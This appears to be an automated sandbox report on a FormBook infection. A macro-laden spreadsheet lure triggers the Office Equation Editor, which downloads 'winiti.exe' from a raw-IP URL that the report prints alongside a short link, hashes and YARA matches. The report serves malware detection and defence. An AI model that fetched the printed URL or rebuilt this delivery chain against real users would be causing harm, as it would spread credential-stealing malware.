Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:40:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4C56WPN0iN%2BgthEsRjYJrauRNBV%2Fd69qyhca%2BS7uZjfxTCL8Vo3zKLLqIuYan2fHzuwtUXcrHOw9DLlQOPcmMGD%2BkuYSBo2Vv%2Fzf2FhSQMa3CYQyt1MXo6V2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a941d4cca2b5e79-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:40:26 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2DK4%2FPYBA3If48iGooDP%2FeqPPqpoWJk9HuUhYKOLu4FxKJSb9kjv1sVS5SkTDG5iGgEFUGpvLyB0MYLuJxNFIpYgJowS%2FFE2o9HXFcYNFfo9Nom4%2BMylFrR%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a941d6abcb67ca2-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:40:26 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2DK4%2FPYBA3If48iGooDP%2FeqPPqpoWJk9HuUhYKOLu4FxKJSb9kjv1sVS5SkTDG5iGgEFUGpvLyB0MYLuJxNFIpYgJowS%2FFE2o9HXFcYNFfo9Nom4%2BMylFrR%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a941d6abcb67ca2-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: EQNEDT32.EXE String found in binary or memory: http://104.219.239.104/80/winiti.exe
Source: EQNEDT32.EXE, 00000007.00000002.412730968.00000000005C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exeRe
Source: EQNEDT32.EXE, 00000007.00000002.412730968.00000000005C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exej
Source: EQNEDT32.EXE, 00000007.00000002.412730968.00000000005C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exekkC:
Source: EQNEDT32.EXE, 00000007.00000002.412730968.00000000005C1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exelay
Source: tny.wtf.url.3.dr String found in binary or memory: http://tny.wtf/
Source: RFQ#51281AOLAI.xls, dGa.url.3.dr String found in binary or memory: http://tny.wtf/dGa
Source: 07330000.0.dr, ~DFA2DBDD95D657A82C.TMP.0.dr String found in binary or memory: http://tny.wtf/dGayX

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FFE27256.doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Excel sheet contains many unusual embedded objects
Source: RFQ#51281AOLAI.xls OLE: Microsoft Excel 2007+
Source: 07330000.0.dr OLE: Microsoft Excel 2007+
Source: ~DF6D5A74146301A5A1.TMP.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\dGa.url Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url Jump to behavior
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0042BEE3 NtClose, 9_2_0042BEE3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E07AC NtCreateMutant,LdrInitializeThunk, 9_2_008E07AC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DF9F0 NtClose,LdrInitializeThunk, 9_2_008DF9F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFAE8 NtQueryInformationProcess,LdrInitializeThunk, 9_2_008DFAE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFB68 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_008DFB68
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFDC0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_008DFDC0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E00C4 NtCreateFile, 9_2_008E00C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E0048 NtProtectVirtualMemory, 9_2_008E0048
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E0060 NtQuerySection, 9_2_008E0060
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E0078 NtResumeThread, 9_2_008E0078
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E01D4 NtSetValueKey, 9_2_008E01D4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E010C NtOpenDirectoryObject, 9_2_008E010C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E0C40 NtGetContextThread, 9_2_008E0C40
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E10D0 NtOpenProcessToken, 9_2_008E10D0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E1148 NtOpenThread, 9_2_008E1148
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DF8CC NtWaitForSingleObject, 9_2_008DF8CC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DF900 NtReadFile, 9_2_008DF900
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DF938 NtWriteFile, 9_2_008DF938
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E1930 NtSetContextThread, 9_2_008E1930
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFAB8 NtQueryValueKey, 9_2_008DFAB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFAD0 NtAllocateVirtualMemory, 9_2_008DFAD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFA20 NtQueryInformationFile, 9_2_008DFA20
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFA50 NtEnumerateValueKey, 9_2_008DFA50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFBB8 NtQueryInformationToken, 9_2_008DFBB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFBE8 NtQueryVirtualMemory, 9_2_008DFBE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFB50 NtCreateKey, 9_2_008DFB50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFC90 NtUnmapViewOfSection, 9_2_008DFC90
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFC30 NtOpenProcess, 9_2_008DFC30
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFC48 NtSetInformationFile, 9_2_008DFC48
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFC60 NtMapViewOfSection, 9_2_008DFC60
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFD8C NtDelayExecution, 9_2_008DFD8C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008E1D80 NtSuspendThread, 9_2_008E1D80
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFD5C NtEnumerateKey, 9_2_008DFD5C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFEA0 NtReadVirtualMemory, 9_2_008DFEA0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFED0 NtAdjustPrivilegesToken, 9_2_008DFED0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFE24 NtWriteVirtualMemory, 9_2_008DFE24
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFFB4 NtCreateSection, 9_2_008DFFB4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFFFC NtCreateProcessEx, 9_2_008DFFFC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008DFF34 NtQueueApcThread, 9_2_008DFF34
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_002C04C8 8_2_002C04C8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_002C3D98 8_2_002C3D98
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_002C1168 8_2_002C1168
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_002C3B38 8_2_002C3B38
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2230 8_2_00BD2230
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2220 8_2_00BD2220
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD19B1 8_2_00BD19B1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD1DE8 8_2_00BD1DE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD19C0 8_2_00BD19C0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2718 8_2_00BD2718
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2709 8_2_00BD2709
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2B50 8_2_00BD2B50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00BD2B40 8_2_00BD2B40
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401420 9_2_00401420
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401000 9_2_00401000
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401154 9_2_00401154
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401160 9_2_00401160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00416A4E 9_2_00416A4E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00416A53 9_2_00416A53
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FCCB 9_2_0040FCCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FCD3 9_2_0040FCD3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0042E523 9_2_0042E523
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FEF3 9_2_0040FEF3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040DF73 9_2_0040DF73
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00402FD0 9_2_00402FD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008EE0C6 9_2_008EE0C6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008EE2E9 9_2_008EE2E9
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009963BF 9_2_009963BF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009163DB 9_2_009163DB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F2305 9_2_008F2305
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0093A37B 9_2_0093A37B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097443E 9_2_0097443E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0090C5F0 9_2_0090C5F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009705E3 9_2_009705E3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00936540 9_2_00936540
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F4680 9_2_008F4680
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008FE6C1 9_2_008FE6C1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0093A634 9_2_0093A634
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00992622 9_2_00992622
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008FC7BC 9_2_008FC7BC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008FC85C 9_2_008FC85C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0091286D 9_2_0091286D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0099098E 9_2_0099098E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F29B2 9_2_008F29B2
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009849F5 9_2_009849F5
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009069FE 9_2_009069FE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0093C920 9_2_0093C920
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0099CBA4 9_2_0099CBA4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00976BCB 9_2_00976BCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00992C9C 9_2_00992C9C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097AC5E 9_2_0097AC5E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00920D3B 9_2_00920D3B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008FCD5B 9_2_008FCD5B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00922E2F 9_2_00922E2F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0090EE4C 9_2_0090EE4C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098CFB1 9_2_0098CFB1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00962FDC 9_2_00962FDC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00900F3F 9_2_00900F3F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0091D005 9_2_0091D005
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0090905A 9_2_0090905A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F3040 9_2_008F3040
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096D06D 9_2_0096D06D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097D13F 9_2_0097D13F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00991238 9_2_00991238
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008EF3CF 9_2_008EF3CF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F7353 9_2_008F7353
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00925485 9_2_00925485
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00901489 9_2_00901489
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0092D47D 9_2_0092D47D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009935DA 9_2_009935DA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F351F 9_2_008F351F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097579A 9_2_0097579A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009257C3 9_2_009257C3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098771D 9_2_0098771D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096F8C4 9_2_0096F8C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098F8EE 9_2_0098F8EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00975955 9_2_00975955
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097394B 9_2_0097394B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009A3A83 9_2_009A3A83
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097DBDA 9_2_0097DBDA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008EFBD7 9_2_008EFBD7
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00917B00 9_2_00917B00
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098FDDD 9_2_0098FDDD
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097BF14 9_2_0097BF14
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0091DF7C 9_2_0091DF7C
Document contains embedded VBA macros
Source: RFQ#51281AOLAI.xls OLE indicator, VBA macros: true
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF6D5A74146301A5A1.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{0F8425F3-6468-4181-A134-C6330FCC02D5}.tmp.3.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe 434EC59B680788BAE7F2935200A77E681CECBB517D853C6E6CF31F4CF112E5CC
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\winiti.exe 434EC59B680788BAE7F2935200A77E681CECBB517D853C6E6CF31F4CF112E5CC
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 008EE2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0095F970 appears 84 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0093373B appears 253 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 00933F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 008EDF5C appears 137 times
Yara signature match
Source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FFE27256.doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: winiti[1].exe.7.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: winiti.exe.7.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 8.2.winiti.exe.590000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.590000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.289505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.289505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.3bf0ff8.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.3c78a18.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@7/25@6/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\07330000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR77FC.tmp Jump to behavior
Source: RFQ#51281AOLAI.xls OLE indicator, Workbook stream: true
Source: 07330000.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
